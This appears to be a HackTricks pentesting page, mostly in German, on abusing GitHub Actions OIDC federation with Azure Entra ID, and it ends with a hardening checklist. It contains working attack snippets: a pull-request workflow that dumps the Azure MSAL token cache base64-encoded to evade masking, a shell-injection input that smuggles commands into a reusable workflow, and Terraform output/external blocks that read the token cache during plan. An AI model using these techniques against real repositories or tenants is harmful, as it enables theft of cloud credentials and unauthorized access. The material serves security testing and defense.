Files
hacktricks-cloud/src/pentesting-cloud/azure-security/az-basic-information/az-federation-abuse.md

9.8 KiB
Raw Blame History

Azure Federation Abuse (GitHub Actions OIDC / Workload Identity)

{{#include ../../../banners/hacktricks-training.md}}

Übersicht

GitHub Actions kann über OpenID Connect (OIDC) mit Azure Entra ID (früher Azure AD) föderieren. Ein GitHub-Workflow fordert ein kurzlebiges GitHub ID token (JWT) an, das Details zum Run kodiert. Azure validiert dieses Token gegen ein Federated Identity Credential (FIC) in einer App Registration (service principal) und tauscht es gegen Azure access tokens (MSAL cache, bearer tokens für Azure APIs).

Azure validiert mindestens:

Der standardmäßige GitHub aud kann eine GitHub-URL sein. Beim Austausch mit Azure sollte explizit audience=api://AzureADTokenExchange gesetzt werden.

GitHub ID token quick PoC

name: Print OIDC identity token
on: { workflow_dispatch: {} }
permissions:
id-token: write
jobs:
view-token:
runs-on: ubuntu-latest
steps:
- name: get-token
run: |
OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" "$ACTIONS_ID_TOKEN_REQUEST_URL")
# Base64 avoid GitHub masking
echo "$OIDC_TOKEN" | base64 -w0

Um die Azure-Audience bei der Token-Anfrage zu erzwingen:

OIDC_TOKEN=$(curl -H "Authorization: bearer $ACTIONS_ID_TOKEN_REQUEST_TOKEN" \
"$ACTIONS_ID_TOKEN_REQUEST_URL&audience=api://AzureADTokenExchange")

Azure-Einrichtung (Workload Identity Federation)

  1. Erstellen Sie eine App Registration (service principal) und gewähren Sie die geringsten Berechtigungen (z. B. Storage Blob Data Contributor für ein bestimmtes Storage-Konto).

  2. Fügen Sie Federated identity credentials hinzu:

  1. Verwenden Sie azure/login, um das GitHub ID-Token auszutauschen und sich bei der Azure CLI anzumelden:
name: Deploy to Azure
on:
push: { branches: [main] }
permissions:
id-token: write
contents: read
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: Az CLI login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Upload file to Azure
run: |
az storage blob upload --data "test" -c hmm -n testblob \
--account-name sofiatest --auth-mode login

Beispiel für einen manuellen Austausch (Graph-Scope gezeigt; ARM oder andere Ressourcen ähnlich):

POST /<TENANT-ID>/oauth2/v2.0/token HTTP/2
Host: login.microsoftonline.com
Content-Type: application/x-www-form-urlencoded

client_id=<app-client-id>&grant_type=client_credentials&
client_assertion=<GitHub-ID-token>&client_info=1&
client_assertion_type=urn%3Aietf%3Aparams%3Aoauth%3Aclient-assertion-type%3Ajwt-bearer&
scope=https%3a%2f%2fgraph.microsoft.com%2f%2f.default

GitHub OIDC subject (sub) Aufbau und Anpassung

Default sub format: repo:/:

Kontextwerte umfassen:

  • environment:
  • pull_request (PR triggers when not in an environment)
  • ref:refs/(heads|tags)/

Nützliche Claims, die häufig im Payload enthalten sind:

  • repository, ref, ref_type, ref_protected, repository_visibility, job_workflow_ref, actor

Passe die sub-Zusammensetzung über die GitHub API an, um zusätzliche Claims aufzunehmen und das Kollisionsrisiko zu verringern:

gh api orgs/<org>/actions/oidc/customization/sub
gh api repos/<org>/<repo>/actions/oidc/customization/sub
# Example to include owner and visibility
gh api \
--method PUT \
repos/<org>/<repo>/actions/oidc/customization/sub \
-f use_default=false \
-f include_claim_keys='["repository_owner","repository_visibility"]'

Hinweis: Doppelpunkte in Umgebungsnamen sind URLkodiert (%3A), wodurch ältere DelimiterInjectionTricks beim subParsing entfernt werden. Die Verwendung nichteindeutiger subjectWerte (z. B. nur environment:) bleibt jedoch unsicher.

Umfang und Risiken der FIC-Subject-Typen

  • Branch/Tag: sub=repo:/:ref:refs/heads/ or ref:refs/tags/
  • Risiko: Wenn der Branch/Tag ungeschützt ist, kann jeder Contributor pushen und Tokens erhalten.
  • Environment: sub=repo:/:environment:
  • Risiko: Ungeschützte Environments (keine Reviewer) erlauben es Contributors, Tokens zu erzeugen.
  • Pull request: sub=repo:/:pull_request
  • Höchstes Risiko: Jeder Collaborator kann einen PR öffnen und die FICBedingung erfüllen.

PoC: PRtriggered token theft (exfiltrate the Azure CLI cache written by azure/login):

name: Steal tokens
on: pull_request
permissions:
id-token: write
contents: read
jobs:
extract-creds:
runs-on: ubuntu-latest
steps:
- name: azure login
uses: azure/login@v2
with:
client-id: ${{ secrets.AZURE_CLIENT_ID }}
tenant-id: ${{ secrets.AZURE_TENANT_ID }}
subscription-id: ${{ secrets.AZURE_SUBSCRIPTION_ID }}
- name: Extract access token
run: |
# Azure CLI caches tokens here on Linux runners
cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0
# Decode twice locally to recover the bearer token

Zugehörige Dateipfade und Hinweise:

  • Linux/macOS: ~/.azure/msal_token_cache.json enthält MSAL-Token für az CLI-Sitzungen
  • Windows: msal_token_cache.bin im Benutzerprofil; DPAPI-geschützt

Wiederverwendbare Workflows und job_workflow_ref-Scoping

Das Aufrufen eines wiederverwendbaren Workflows fügt job_workflow_ref dem GitHub ID token hinzu, z. B.:

ndc-security-demo/reusable-workflows/.github/workflows/reusable-file-upload.yaml@refs/heads/main

FIC-Beispiel, um sowohl das caller repo als auch den reusable workflow zu binden:

sub=repo:<org>/<repo>:job_workflow_ref:<org>/<reusable-repo>/.github/workflows/<file>@<ref>

Konfiguriere claims im caller repo, sodass sowohl repo als auch job_workflow_ref im sub vorhanden sind:

PUT /repos/<org>/<repo>/actions/oidc/customization/sub HTTP/2
Host: api.github.com
Authorization: token <access token>

{"use_default": false, "include_claim_keys": ["repo", "job_workflow_ref"]}

Warnung: Wenn du nur job_workflow_ref im FIC bindest, könnte ein Angreifer ein anderes repo in derselben org erstellen, denselben reusable workflow auf demselben ref ausführen, das FIC erfüllen und Tokens minten. Schließe stets auch das caller repo ein.

Vektoren zur Codeausführung, die den job_workflow_ref-Schutz umgehen

Selbst mit korrekt eingeschränktem job_workflow_ref können alle vom caller kontrollierten Daten, die ohne sicheres Quoting in die shell gelangen, zur Codeausführung innerhalb des geschützten Workflow-Kontexts führen.

Beispiel für einen verwundbaren reusable step (ungequotete Interpolation):

- name: Example Security Check
run: |
echo "Checking file contents"
if [[ "${{ inputs.file_contents }}" == *"malicious"* ]]; then
echo "Malicious content detected!"; exit 1
else
echo "File contents are safe."
fi

Bösartige Eingabe durch einen Caller, um Befehle auszuführen und den Azure Token-Cache zu exfiltrieren:

with:
file_contents: 'a" == "a" ]]; then cat /home/runner/.azure/msal_token_cache.json | base64 -w0 | base64 -w0; fi; if [[ "a'

Terraform plan als Ausführungsprimitive in PRs

Behandle terraform plan als Codeausführung. Während des plan-Vorgangs kann Terraform:

  • Beliebige Dateien lesen über Funktionen wie file()
  • Befehle ausführen über die external data source

Beispiel, um den Azure token cache während des plan zu exfiltrate:

output "msal_token_cache" {
value = base64encode(base64encode(file("/home/runner/.azure/msal_token_cache.json")))
}

Oder verwende external, um beliebige Befehle auszuführen:

data "external" "exfil" {
program = ["bash", "-lc", "cat ~/.azure/msal_token_cache.json | base64 -w0 | base64 -w0"]
}

Die Gewährung von FICs, die in PRausgelösten plans verwendbar sind, legt privilegierte Tokens offen und kann später zu zerstörerischen applyVorgängen führen. Trenne Identitäten für plan vs apply; erlaube niemals privilegierte Tokens in nicht vertrauenswürdigen PRKontexten.

Härtungs-Checkliste

  • Never use sub=...:pull_request for sensitive FICs
  • Schütze jeden Branch/Tag/Environment, der/das von FICs referenziert wird (branch protection, environment reviewers)
  • Prefer FICs scoped to both repo and job_workflow_ref for reusable workflows
  • Passe den GitHub OIDC sub an, um eindeutige Claims einzuschließen (z. B. repo, job_workflow_ref, repository_owner)
  • Eliminiere nicht in Anführungszeichen gesetzte Interpolation von Aufrufer-Eingaben in runSchritten; sichere Kodierung/Quotierung
  • Behandle terraform plan als Codeausführung; beschränke oder isoliere Identitäten in PRKontexten
  • Durchsetze Least Privilege bei App Registrations; separate Identitäten für plan vs apply
  • Pin actions und reusable workflows auf CommitSHAs (vermeide Branch/TagPins)

Tipps für manuelle Tests

  • Request a GitHub ID token inworkflow and print it base64 to avoid masking
  • Dekodiere das JWT, um Claims zu prüfen: iss, aud, sub, job_workflow_ref, repository, ref
  • Manually exchange the ID token against login.microsoftonline.com to confirm FIC matching and scopes
  • Nach azure/login, lies ~/.azure/msal_token_cache.json, um das Vorhandensein von TokenMaterial zu verifizieren

References

{{#include ../../../banners/hacktricks-training.md}}